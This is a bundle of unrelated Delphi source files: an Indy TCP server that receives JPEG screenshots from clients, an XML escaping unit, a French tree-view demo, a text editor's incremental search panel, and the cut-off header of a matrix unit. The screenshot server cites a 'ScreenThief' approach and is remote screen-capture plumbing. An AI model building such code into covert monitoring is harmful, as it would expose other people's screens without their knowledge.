procedure TFormRecvScreen.IdTCPServer1Disconnect(AContext: TIdContext);
var
Index: integer;
str: String;
begin
str := AContext.Binding.PeerIP + '_' + AContext.Binding.PeerPort.ToString;
Index := ListBoxClient.Items.IndexOf(str);
ListBoxClient.Items.Delete(index);
Memo1.Lines.Add(DateTimeToStr(Now));
Memo1.Lines.Add('S-Disconnect: ' + str);
end;
procedure TFormRecvScreen.IdTCPServer1Exception(AContext: TIdContext;
AException: Exception);
begin
Memo1.Lines.Add('S-Exception:' + AException.Message);
end;
procedure TMyIdNotify.DoNotify;
begin
if isMyData then
begin
with FormRecvScreen.Memo1.Lines do
begin
Add('ID:' + Inttostr(mMyData.Id));
Add('Name:' + StrPas(mMyData.Name));
Add('Sex:' + mMyData.sex);
Add('Age:' + Inttostr(mMyData.age));
Add('UpdateTime:' + DateTimeToStr(mMyData.UpdateTime));
end;
end
else
begin
FormRecvScreen.Memo1.Lines.Add(strMsg);
end;
end;
// 元件內建的 thread ?
procedure TFormRecvScreen.IdTCPServer1Execute(AContext: TIdContext);
var
size: integer;
mStream: TMemoryStream;
jpg: TJpegImage;
temp: TIdBytes;
begin
// ScreenThief 的方式
size := AContext.Connection.IOHandler.ReadUInt64;
mStream := TMemoryStream.Create;
AContext.Connection.IOHandler.ReadStream(mStream, size, False);
jpg := TJpegImage.Create;
try
mStream.Position := 0;
jpg.LoadFromStream(mStream);
imgShot.Picture.Assign(jpg);
finally
jpg.DisposeOf;
end;
end;
procedure TFormRecvScreen.IdTCPServer1ListenException
(AThread: TIdListenerThread; AException: Exception);
begin
Memo1.Lines.Add('S-ListenException: ' + AException.Message);
end;
procedure TFormRecvScreen.IdTCPServer1Status(ASender: TObject;
const AStatus: TIdStatus; const AStatusText: string);
begin
Memo1.Lines.Add(DateTimeToStr(Now));
Memo1.Lines.Add('S-Status: ' + AStatusText);
end;
procedure TFormRecvScreen.StopServer;
var
Index: integer;
Context: TIdContext;
begin
if IdTCPServer1.Active then
begin
IdTCPServer1.OnDisconnect := nil;
ListBoxClient.Clear;
with IdTCPServer1.Contexts.LockList do
begin
if Count > 0 then
begin
try
for index := 0 to Count - 1 do
begin
Context := Items[index];
if Context = nil then
continue;
Context.Connection.IOHandler.WriteBufferClear;
Context.Connection.IOHandler.InputBuffer.Clear;
Context.Connection.IOHandler.Close;
if Context.Connection.Connected then
Context.Connection.Disconnect;
end;
finally
IdTCPServer1.Contexts.UnlockList;
end;
end;
end;
try
IdTCPServer1.Active := False;
except
on E: EIdException do
Memo1.Lines.Add('== EIdException: ' + E.Message);
end;
end;
IdTCPServer1.OnDisconnect := IdTCPServer1Disconnect;
end;
end.
|
{-------------------------------------------------------------------------------
Copyright 2012-2021 Ethea S.r.l.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------------------}
/// <summary>
/// Support for XML format.
/// </summary>
unit EF.XML;
{$I EF.Defines.inc}
interface
uses
SysUtils
, StrUtils
, EF.Types
;
const
XMLHeader = '<?xml version="1.0" encoding="UTF-8" ?>';
XMLTagFormat = '<%s>%s</%s>';
DocTypeHeader = '<!DOCTYPE';
XmlNameSpace = 'xmlns="';
/// <summary>
/// Escapes control characters in the XML string.
/// </summary>
function XMLEscape(const AString: string): string;
/// <summary>
/// Clear the XMLHeader from an XML string.
/// Returns true if the header was found and cleared
/// </summary>
function ClearXMLHeader(var AText: string): Boolean;
/// <summary>
/// Returns the position of the XMLHeader if found
/// </summary>
function XMLHeaderPos(const AText: string): Integer;
/// <summary>
/// Clear the DOCTYPE node from an XML string.
/// Returns true if the DOCTYPE node was found and cleared
/// </summary>
function ClearDOCTYPE(var Text: string): boolean;
function ClearXmlNameSpaces(var Text: string): boolean;
implementation
uses
EF.StrUtils;
function XMLEscape(const AString: string): string;
const
EscStr = '&%s;';
var
I: Integer;
Esc: string;
C: Char;
begin
Result := '';
for I := 1 to Length(AString) do
begin
C := AString[I];
if CharInSet(C, [#34, #38, #39, #60, #62]) then
begin
case C of
#34:
Esc := 'quot';
#38:
Esc := 'amp';
#39:
Esc := 'apos';
#60:
Esc := 'lt';
#62:
Esc := 'gt';
end;
Esc := Format(EscStr, [Esc]);
Result := Result + Esc;
end
else
Result := Result + C;
end;
end;
function XMLHeaderPos(const AText: string): Integer;
begin
Result := Pos(Copy(XMLHeader, 1, 36), AText);
end;
function ClearXMLHeader(var AText: string): Boolean;
var
LXmlHeaderPos, LClosedTagPos: Integer;
begin
Result := False;
LXmlHeaderPos := XMLHeaderPos(AText);
if LXmlHeaderPos > 0 then
begin
LClosedTagPos := Pos('>', AText);
if LClosedTagPos > 0 then
begin
AText := Copy(AText, LClosedTagPos + 1, MaxInt);
Result := True;
end;
end;
end;
function ClearDOCTYPE(var Text: string): boolean;
var
LDOCTYPEPos, LClosedTagPos: Integer;
begin
Result := False;
LDOCTYPEPos := Pos(DocTypeHeader, Text);
if LDOCTYPEPos > 0 then
begin
LClosedTagPos := Pos('>', Text);
if LClosedTagPos > 0 then
begin
Text := Copy(Text, LClosedTagPos+1, MaxInt);
Result := True;
end;
end;
end;
function ClearXmlNameSpaces(var Text: string): boolean;
var
LPos, LClosedBraket: Integer;
begin
Result := False;
LPos := Pos(XmlNameSpace, Text);
if LPos > 0 then
begin
LClosedBraket := Pos('"', Copy(Text,LPos+length(XmlNameSpace),MaxInt))+LPos-1;
if LClosedBraket > 0 then
begin
Text := Copy(Text, 1, LPos-1) + Copy(Text, LPos+1+LClosedBraket+1, MaxInt);
Result := True;
if not ClearXmlNameSpaces(Text) then
Exit;
end;
end;
end;
end.
|
unit MainForm;
{$IFDEF FPC}
{$MODE Delphi}
{$R *.lfm}
{$ELSE}
{$R *.DFM}
{$ENDIF}
interface
uses
Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ImgList, ComCtrls, StdCtrls, ExtCtrls, Buttons, ToolWin,
{$IFDEF FPC}
LCLIntf, LCLType,
{$ELSE}
rxPlacemnt, Windows,
{$ENDIF}
FDTreeView;
const
DefaultFileName = 'Defaut.soc';
type
{ TDlgMainForm }
TDlgMainForm = class(TForm)
MainMenu1: TMainMenu;
ImageListMainMenu: TImageList;
MnFichier: TMenuItem;
MnQuitter: TMenuItem;
MTV: TFDTreeView;
ToolBar1: TToolBar;
PupMenuNode: TPopupMenu;
PupMenuTree: TPopupMenu;
MnSensAffichage: TMenuItem;
ColorDialog1: TColorDialog;
Couleur1: TMenuItem;
MnAjouterUnNoeud: TMenuItem;
MnEditerLeNoeud: TMenuItem;
ImageListPupMenuNode: TImageList;
MnSupprimerLeNoeud: TMenuItem;
N2: TMenuItem;
Alignementdesnoeuds1: TMenuItem;
MnLibre: TMenuItem;
AligneSousLePere: TMenuItem;
N4: TMenuItem;
MnNouvelArbre: TMenuItem;
MnSensAffVertical: TMenuItem;
MnSensAffHorizontal: TMenuItem;
{$IFNDEF FPC}
MainFormStorage: TFormStorage;
{$ENDIF}
N1: TMenuItem;
ImageListPupMenuTree: TImageList;
ToolBtnNouvelArbre: TToolButton;
ToolBtnOuvrir: TToolButton;
N5: TMenuItem;
MnOuvrirUnFichier: TMenuItem;
OpenDlgTree: TOpenDialog;
MnEnregistrer: TMenuItem;
MnEnregistrerSous: TMenuItem;
N6: TMenuItem;
ToolBtnEnregistrer: TToolButton;
TollBtnEnregistrerSous: TToolButton;
SaveDlgTree: TSaveDialog;
ToolButton1: TToolButton;
MainStatusBar: TStatusBar;
MnPrefrences: TMenuItem;
N3: TMenuItem;
MnAPropos: TMenuItem;
MnInformations: TMenuItem;
N9: TMenuItem;
Panel2: TPanel;
scroll: TScrollBox;
Label1: TLabel;
procedure MnQuitterClick(Sender: TObject);
procedure Couleur1Click(Sender: TObject);
procedure MnAjouterUnNoeudClick(Sender: TObject);
procedure MnEditerLeNoeudClick(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure MnLibreClick(Sender: TObject);
procedure AligneSousLePereClick(Sender: TObject);
procedure MnSupprimerLeNoeudClick(Sender: TObject);
procedure MnNouvelArbreClick(Sender: TObject);
procedure MnSensAffVerticalClick(Sender: TObject);
procedure MnSensAffHorizontalClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure MTVSelectedNodeChange(Sender: TFDNode);
procedure MnOuvrirUnFichierClick(Sender: TObject);
procedure MnEnregistrerClick(Sender: TObject);
procedure MnEnregistrerSousClick(Sender: TObject);
procedure MnPrefrencesClick(Sender: TObject);
{$IFNDEF FPC}
procedure MainFormStorageSavePlacement(Sender: TObject);
procedure MainFormStorageRestorePlacement(Sender: TObject);
{$ENDIF}
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure PupMenuNodePopup(Sender: TObject);
procedure MnAProposClick(Sender: TObject);
procedure MTVNodeClick(Sender: TFDNode);
procedure MnInformationsClick(Sender: TObject);
private
g_ExecDir: String;
FSelectedNode: TFDNode;
FCurrentFileName: String;
FTreeChanged: Boolean;
procedure FirstInit;
procedure Preferences;
{$IFNDEF FPC}
procedure SaveIniFile;
procedure LoadIniFile;
{$ENDIF}
procedure SetComponents;
procedure VoirAPropos;
procedure SupprimeArbre(MyTree: TFDTreeView);
procedure NouvelArbre(MyTree: TFDTreeView);
procedure EditerLeNoeud;
procedure AjouterUnNoeud;
procedure SaveTreeToFile(MyTree: TFDTreeView; FileName: String);
procedure LoadTreeFromFile(MyTree: TFDTreeView; FileName: String);
procedure OuvrirUnFichier;
procedure EnregistrerSous;
procedure Enregistrer;
procedure AfficherNodeInfo(aNode: TFDNode);
public
{ Déclarations publiques }
end;
var
DlgMainForm: TDlgMainForm;
implementation
uses
IniFiles, About, Miscel, SetNodeProperties, Preferences;
Const
RC = #13#10;
var
bFirstInit: Boolean;
procedure TDlgMainForm.FirstInit;
begin
if not bFirstInit then begin
FSelectedNode := Nil;
if FileExists(FCurrentFileName) then LoadTreeFromFile(MTV, FCurrentFileName)
else begin
FCurrentFileName := DefaultFileName;
NouvelArbre(MTV);
end;
SetComponents;
bFirstInit := true;
end;
end;
{$IFNDEF FPC}
procedure TDlgMainForm.SaveIniFile;
var
IniFile: TIniFile;
begin
IniFile := TIniFile.Create(MainFormStorage.IniFileName);
With IniFile do try
WriteString('Application', 'LastTree', FCurrentFileName);
finally
IniFile.Free;
end;
end;
procedure TDlgMainForm.LoadIniFile;
var
IniFile: TIniFile;
begin
IniFile := TIniFile.Create(MainFormStorage.IniFileName);
With IniFile do try
FCurrentFileName := ReadString('Application', 'LastTree', g_ExecDir + 'Defaut.soc');
finally
IniFile.Free;
end;
end;
{$ENDIF}
procedure TDlgMainForm.SetComponents;
var
b: Boolean;
begin
MnLibre.Checked := (Mtv.NodeAlign = naNormal);
AligneSousLePere.Checked := (Mtv.NodeAlign = naInvert);
MnSensAffVertical.Checked := (MTV.TreeOrientation = toVertical);
MnSensAffHorizontal.Checked := (MTV.TreeOrientation = toHorizontal);
b := (FSelectedNode <> Nil) and (FSelectedNode.Level > 1);
MnEditerLeNoeud.Enabled := b;
MnInformations.Enabled := b;
end;
procedure TDlgMainForm.VoirAPropos;
var
Dlg: TDlgAbout;
begin
Dlg := TDlgAbout.Create(Self);
With Dlg do try
ShowModal;
finally
free;
end;
end;
procedure TDlgMainForm.SupprimeArbre(MyTree: TFDTreeView);
begin
if MyTree.NodeCount > 1 then
if BoiteMessage('Effacer l''arbre en cours ?', 'Nouvel arbre', {Mb_IconQuestion +} Mb_YesNo) <> IdYes then Abort;
{ Pour supprimer un arbre il suffit de supprimer le noeud 0 (S'il existe) Car
un noeud supprime ses enfants automatiquement. La suppression du noeud 0 entraine donc
la suppression de tous les autres noeuds de l'arbre }
if MyTree.NodeCount > 0 then MyTree.DeleteItem(0);
end;
procedure TDlgMainForm.NouvelArbre(MyTree: TFDTreeView);
var
MyNode: TFDNode;
begin
{ Pour "Nouvel arbre" on supprime l'arbre existant (Voir remarque de la méthode "SupprimeArbre")
Puis on ajoute un premier noeud (Pas obligatoire mais cela donne un point de départ
à l'utilisateur }
If MyTree.NodeCount > 0 then MyTree.DeleteItem(0);
MyNode := MyTree.AddNode(Nil);
MyNode.Caption := '1er Noeud';
FCurrentFileName := DefaultFileName;
SetComponents;
FTreeChanged := False;
SetComponents;
end;
procedure TDlgMainForm.EditerLeNoeud;
var
Dlg: TDlgSetNodeProperties;
begin
Dlg := TDlgSetNodeProperties.Create(Self);
With Dlg do Try
Caption := 'Editer un noeud';
{ On récupère le noeud courant et on l'edite}
Node := MTV.SelectedNode;
{$IFDEF FPC}
ShowModal;
if FOkClick{$ELSE}
if Showmodal {$ENDIF} = MrOk
Then
Begin
{ Et on lui affecte les nouvelles propriétés }
SetNodeProperties(MTV.SelectedNode);
end;
finally
Release;
end;
FTreeChanged := True;
SetComponents;
end;
procedure TDlgMainForm.AjouterUnNoeud;
var
MyNode: TFDNode;
Dlg: TDlgSetNodeProperties;
begin
Dlg := TDlgSetNodeProperties.Create(Self);
With Dlg do Try
Caption := 'Ajouter un noeud';
{$IFDEF FPC}
ShowModal;
if FOkClick{$ELSE}
if Showmodal {$ENDIF} = MrOk
then begin
{ On a besoin de MyNode pour affecter les propriétés du noeud
Mais dand l'absolue "MTV.AddNode(MTV.SelectedNode);" suffit à ajouter
un noeud }
MyNode := MTV.AddNode(MTV.SelectedNode);
SetNodeProperties(MyNode);
end;
finally
Release;
end;
FTreeChanged := True;
SetComponents;
end;
{ Pour l'instant, les noeud ne savent pas se sauvegarder sur disque (C'est une lacune)
donc la sauvegarde d'un arbre passe par la sauvegarde "manuelle" de tous les noeuds
Cela oblige à coder la sauvegarde de toutes les propriétés d'un noeud
Dans cette exemple seule la caption est sauvegardée. Ce qui explique que la "Font" soit
perdue lors du chargement d'un arbre.
Si un Delphinaute code une sauvagarde complètre, je suis preneur }
procedure TDlgMainForm.SaveTreeToFile(MyTree: TFDTreeView; FileName: String);
var
n: Integer;
IniFile: TIniFile;
OldCursor: TCursor;
begin
DeleteFile({$IFNDEF FPC}@{$ENDIF}FileName);
IniFile := TIniFile.Create(FileName);
OldCursor := Screen.Cursor;
Screen.Cursor := crHourGlass;
try
With MyTree, NodeList, IniFile do for n := 0 to NodeCount -1 do begin
WriteInteger('Node' + IntToStr(n), 'ParentNode', NodeList.IndexOf(TFDNode(Items[n]).ParentNode));
WriteString('Node' + IntToStr(n), 'Caption', TFDNode(Items[n]).Caption);
end;
FTreeChanged := False;
SetComponents;
finally
Screen.Cursor := OldCursor;
IniFile.Free;
end;
end;
{ Voir remarque sur SaveTreeToFile }
procedure TDlgMainForm.LoadTreeFromFile(MyTree: TFDTreeView; FileName: String);
var
n: Integer;
IniFile: TIniFile;
MyNode: TFDNode;
SectionList: TStringList;
MyParentNode: Integer;
begin
SupprimeArbre(MyTree);
SectionList := TStringList.Create;
IniFile := TIniFile.Create(FileName);
try
With MyTree, IniFile do begin
ReadSections(SectionList);
for n := 0 to SectionList.Count -1 do begin
MyParentNode := ReadInteger(SectionList.Strings[n], 'ParentNode', -1);
if MyParentNode = -1 then begin
MyNode := AddNode(Nil);
MyNode.Caption := '1er Noeud';
end else begin
MyNode := AddNode(MyTree.Node[MyParentNode]);
MyNode.Caption := ReadString('Node' + IntToStr(n), 'Caption', 'rien');
end;
end;
end;
finally
IniFile.Free;
SectionList.Free;
end;
end;
procedure TDlgMainForm.OuvrirUnFichier;
begin
With OpenDlgTree do begin
InitialDir := g_ExecDir;
if Execute then begin
FCurrentFileName := FileName;
LoadTreeFromFile(MTV, FCurrentFileName);
FTreeChanged := False;
SetComponents;
end;
end;
end;
procedure TDlgMainForm.EnregistrerSous;
begin
With SaveDlgTree do begin
if LowerCase(ExtractFileName(FCurrentFileName)) = LowerCase(DefaultFileName) then InitialDir := g_ExecDir
else InitialDir := ExtractFilePath(FCurrentFileName);
Filename := ExtractFilename(FCurrentFileName);
if Execute then begin
FCurrentFileName := FileName;
SaveTreeToFile(MTV, FCurrentFileName);
SetComponents;
end;
end;
end;
procedure TDlgMainForm.Enregistrer;
begin
if LowerCase(ExtractFileName(FCurrentFileName)) = LowerCase(DefaultFileName) then EnregistrerSous
else SaveTreeToFile(MTV, FCurrentFileName);
end;
{********** Appel des dialogues de configuration *********}
procedure TDlgMainForm.Preferences;
var
Dlg: TDlgPreferences;
begin
Dlg := TDlgPreferences.Create(Self);
With Dlg do try
TreeButtonHeight := MTV.NodeHeight;
TreeButtonWidth := MTV.NodeWidth;
TreeMargin := MTV.Margin;
AffichageV := (MTV.TreeOrientation = toVertical);
if ShowModal = MrOk then begin
MTV.AcceptRepaint := False;
MTV.NodeHeight := TreeButtonHeight;
MTV.NodeWidth := TreeButtonWidth;
MTV.Margin := TreeMargin;
MTV.AcceptRepaint := True;
end;
finally
Free;
end;
end;
procedure TDlgMainForm.AfficherNodeInfo(aNode: TFDNode);
begin
if FSelectedNode.Level > 1 then begin
ShowMessage('Information sur le noeud "' + aNode.Caption + '"' + RC +
'On peut récupérer ici toutes les propriétés du noeud' + RC +
'Dans le cas présent il n''y a que la caption qui est récupérée');
end else BoiteMessage('Faites un clique droit sur "1er Noeud" pour ajouter un noeud',
'Ajouter un noeud', mb_IconExclamation + mb_Ok);
end;
{**********************************************************}
{* Interface *}
{**********************************************************}
procedure TDlgMainForm.FormActivate(Sender: TObject);
begin
FirstInit;
end;
procedure TDlgMainForm.FormCreate(Sender: TObject);
begin
g_ExecDir := ExtractFilePath(Application.ExeName);
{$IFNDEF FPC}
MainFormStorage.IniFileName := g_ExecDir + 'DemoFDTreeView.ini';
{$ENDIF}
end;
procedure TDlgMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
if FTreeChanged then
if BoiteMessage('Souhaitez vous enregistrer les changements dans l''arbre des filtres ?',
'Enregistrer les changements.', Mb_IconQuestion + Mb_YesNo) = IdYes then Enregistrer;
CanClose := True;
end;
procedure TDlgMainForm.MnQuitterClick(Sender: TObject);
begin
Application.Terminate
end;
procedure TDlgMainForm.MnAjouterUnNoeudClick(Sender: TObject);
begin
AjouterUnNoeud;
end;
procedure TDlgMainForm.MnEditerLeNoeudClick(Sender: TObject);
begin
EditerLeNoeud;
end;
procedure TDlgMainForm.MnSupprimerLeNoeudClick(Sender: TObject);
begin
if BoiteMessage('Etes vous sur de vouloir supprimer ce noeud' + RC
+ 'ainsi que la branche attachée?', 'Supprimer un noeud',
mb_IconQuestion + mb_YesNo) = idYes then MTV.DeleteActiveNode;
end;
procedure TDlgMainForm.MnNouvelArbreClick(Sender: TObject);
begin
SupprimeArbre(MTV);
NouvelArbre(MTV);
end;
procedure TDlgMainForm.MnLibreClick(Sender: TObject);
begin
Mtv.NodeAlign := naNormal;
SetComponents;
end;
procedure TDlgMainForm.AligneSousLePereClick(Sender: TObject);
begin
Mtv.NodeAlign := naInvert;
SetComponents;
end;
procedure TDlgMainForm.MnSensAffVerticalClick(Sender: TObject);
begin
MTV.TreeOrientation := toVertical;
SetComponents;
end;
procedure TDlgMainForm.MnSensAffHorizontalClick(Sender: TObject);
begin
MTV.TreeOrientation := toHorizontal;
SetComponents;
end;
procedure TDlgMainForm.Couleur1Click(Sender: TObject);
begin
if ColorDialog1.Execute then begin
MTV.BackColor := ColorDialog1.Color;
end;
end;
procedure TDlgMainForm.MTVSelectedNodeChange(Sender: TFDNode);
begin
FSelectedNode := Sender;
SetComponents;
end;
procedure TDlgMainForm.MnOuvrirUnFichierClick(Sender: TObject);
begin
OuvrirUnFichier;
end;
procedure TDlgMainForm.MnEnregistrerClick(Sender: TObject);
begin
Enregistrer;
end;
procedure TDlgMainForm.MnEnregistrerSousClick(Sender: TObject);
begin
EnregistrerSous;
end;
procedure TDlgMainForm.MnPrefrencesClick(Sender: TObject);
begin
Preferences;
end;
{$IFNDEF FPC}
procedure TDlgMainForm.MainFormStorageSavePlacement(Sender: TObject);
begin
SaveIniFile;
end;
procedure TDlgMainForm.MainFormStorageRestorePlacement(Sender: TObject);
begin
LoadIniFile;
end;
{$ENDIF}
procedure TDlgMainForm.PupMenuNodePopup(Sender: TObject);
begin
MnSupprimerLeNoeud.Enabled := assigned ( FSelectedNode )
and (FSelectedNode.ParentNode <> Nil);
end;
procedure TDlgMainForm.MnAProposClick(Sender: TObject);
begin
VoirAPropos;
end;
procedure TDlgMainForm.MTVNodeClick(Sender: TFDNode);
begin
AfficherNodeInfo(Sender);
end;
procedure TDlgMainForm.MnInformationsClick(Sender: TObject);
begin
AfficherNodeInfo(MTV.SelectedNode);
end;
end.
|
// Copyright (c) 2009, ConTEXT Project Ltd
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of ConTEXT Project Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
unit fIncrementalSearch;
interface
{$I ConTEXT.inc}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ActnList, TB2Dock, TB2Toolbar, TBX, TB2Item,
TBXDkPanels, SynEditTypes, uMultilanguage, uCommon, uSafeRegistry,
JclSysInfo;
type
TfmIncrementalSearch = class(TForm)
eFindText: TEdit;
timClose: TTimer;
TBXToolbar1: TTBXToolbar;
alIncrementalSearch: TActionList;
acFindNext: TAction;
acFindPrevious: TAction;
acEmphasize: TAction;
miEmphasize: TTBXItem;
TBXItem3: TTBXItem;
TBXItem4: TTBXItem;
procedure timCloseTimer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure eFindTextKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure acFindNextExecute(Sender: TObject);
procedure acFindPreviousExecute(Sender: TObject);
procedure acEmphasizeExecute(Sender: TObject);
procedure acCloseExecute(Sender: TObject);
procedure eFindTextChange(Sender: TObject);
procedure alIncrementalSearchUpdate(Action: TBasicAction;
var Handled: Boolean);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
fInitialCaretXY: TBufferCoord;
fEditor: TObject;
procedure ResetTimer;
procedure LoadSettings;
procedure SaveSettings;
public
constructor Create(AOwner: TComponent; Editor: TObject); reintroduce;
destructor Destroy; override;
end;
TIncrementalSearchPanel = class(TTBXDockablePanel)
private
fEditor: TObject;
fIncrementalSearchDialog: TfmIncrementalSearch;
procedure OnCloseEvent(Sender: TObject);
protected
procedure WndProc(var Message: TMessage); override;
public
constructor Create(AOwner: TComponent; Editor: TObject); reintroduce;
destructor Destroy; override;
procedure PasteFromClipboard;
end;
implementation
{$R *.dfm}
uses
fMain, fEditor, fFind;
const
DEFAULT_CLOSE_INTERVAL = 5000;
REG_KEY = CONTEXT_REG_KEY + 'IncrementalSearch\';
////////////////////////////////////////////////////////////////////////////////////////////
// Functions
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.LoadSettings;
begin
with TSafeRegistry.Create do
try
if OpenKey(REG_KEY, TRUE) then begin
eFindText.Text:=ReadString('SearchText', '');
end;
finally
Free;
end;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.SaveSettings;
begin
with TSafeRegistry.Create do
try
if OpenKey(REG_KEY, TRUE) then begin
WriteString('SearchText', eFindText.Text);
end;
finally
Free;
end;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.ResetTimer;
begin
timClose.Enabled:=FALSE;
timClose.Enabled:=TRUE;
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Actions
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.alIncrementalSearchUpdate(Action: TBasicAction; var Handled: Boolean);
begin
TfmEditor(fEditor).EmphasizeWord:=acEmphasize.Checked;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.acFindNextExecute(Sender: TObject);
begin
with TfmEditor(fEditor) do begin
memo.SearchEngine:=fmFind.SearchEngine;
memo.SearchReplace(eFindText.Text, '', []);
fmFind.cbFind.Text:=eFindText.Text;
end;
ResetTimer;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.acFindPreviousExecute(Sender: TObject);
begin
with TfmEditor(fEditor) do begin
memo.SearchEngine:=fmFind.SearchEngine;
memo.SearchReplace(eFindText.Text, '', [ssoBackwards]);
fmFind.cbFind.Text:=eFindText.Text;
end;
ResetTimer;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.acEmphasizeExecute(Sender: TObject);
begin
acEmphasize.Checked:=not acEmphasize.Checked;
ResetTimer;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.acCloseExecute(Sender: TObject);
begin
Close;
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Events
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.eFindTextKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
ResetTimer;
case Key of
// VK_ESCAPE:
// Close;
VK_RETURN:
acFindNextExecute(SELF);
end;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.eFindTextChange(Sender: TObject);
begin
ResetTimer;
TfmEditor(fEditor).EmphasizedWord:=eFindText.Text;
TfmEditor(fEditor).memo.CaretXY:=fInitialCaretXY;
acFindNextExecute(SELF);
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.timCloseTimer(Sender: TObject);
begin
Close;
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Form events
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
constructor TfmIncrementalSearch.Create(AOwner: TComponent; Editor: TObject);
begin
fEditor:=Editor;
inherited Create(AOwner);
LoadSettings;
timClose.Interval:=DEFAULT_CLOSE_INTERVAL;
acEmphasize.Checked:=TfmEditor(fEditor).EmphasizeWord;
fInitialCaretXY:=TfmEditor(fEditor).memo.CaretXY;
mlApplyLanguageToForm(SELF, Name);
end;
//------------------------------------------------------------------------------------------
destructor TfmIncrementalSearch.Destroy;
begin
SaveSettings;
TIncrementalSearchPanel(Owner).fIncrementalSearchDialog:=nil;
inherited;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.FormShow(Sender: TObject);
begin
eFindText.SetFocus;
end;
//------------------------------------------------------------------------------------------
procedure TfmIncrementalSearch.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caNone;
PostMessage(Parent.Handle, WM_CLOSE_PARENT_WINDOW, 0, 0);
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// TIncrementalSearchPanel
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TIncrementalSearchPanel.WndProc(var Message: TMessage);
begin
case Message.Msg of
WM_CLOSE_PARENT_WINDOW:
Close;
else
inherited;
end;
end;
//------------------------------------------------------------------------------------------
constructor TIncrementalSearchPanel.Create(AOwner: TComponent; Editor: TObject);
begin
fEditor:=Editor;
inherited Create(AOwner);
DockMode:=dmCannotFloat;
Resizable:=FALSE;
OnClose:=OnCloseEvent;
MinClientHeight:=0;
DockedHeight:=26;
Parent:=TWinControl(AOwner);
fIncrementalSearchDialog:=TfmIncrementalSearch.Create(SELF, Editor);
with fIncrementalSearchDialog do begin
Parent:=SELF;
Show;
end;
end;
//------------------------------------------------------------------------------------------
procedure TIncrementalSearchPanel.PasteFromClipboard;
begin
if Assigned(fIncrementalSearchDialog) then
fIncrementalSearchDialog.eFindText.PasteFromClipboard;
end;
//------------------------------------------------------------------------------------------
destructor TIncrementalSearchPanel.Destroy;
begin
if Assigned(fIncrementalSearchDialog) then
fIncrementalSearchDialog.Free;
TfmEditor(fEditor).IncrementalSearchPanel:=nil;
TfmEditor(fEditor).SetFocusToEditor;
inherited;
end;
//------------------------------------------------------------------------------------------
procedure TIncrementalSearchPanel.OnCloseEvent(Sender: TObject);
begin
Free;
end;
//------------------------------------------------------------------------------------------
end.
|
unit _matrix4;
{***********************************************************************}
{ MATRIX4 : matrix used for 3D transformations utilities }
{ }
{ Copyright (c) 1996 Yves Borckmans }
{***********************************************************************}
{ }
{ All the matrixes *MUST* be in the form }
{ }
{ a b c d }
{ e f g h }
{ i j k l }
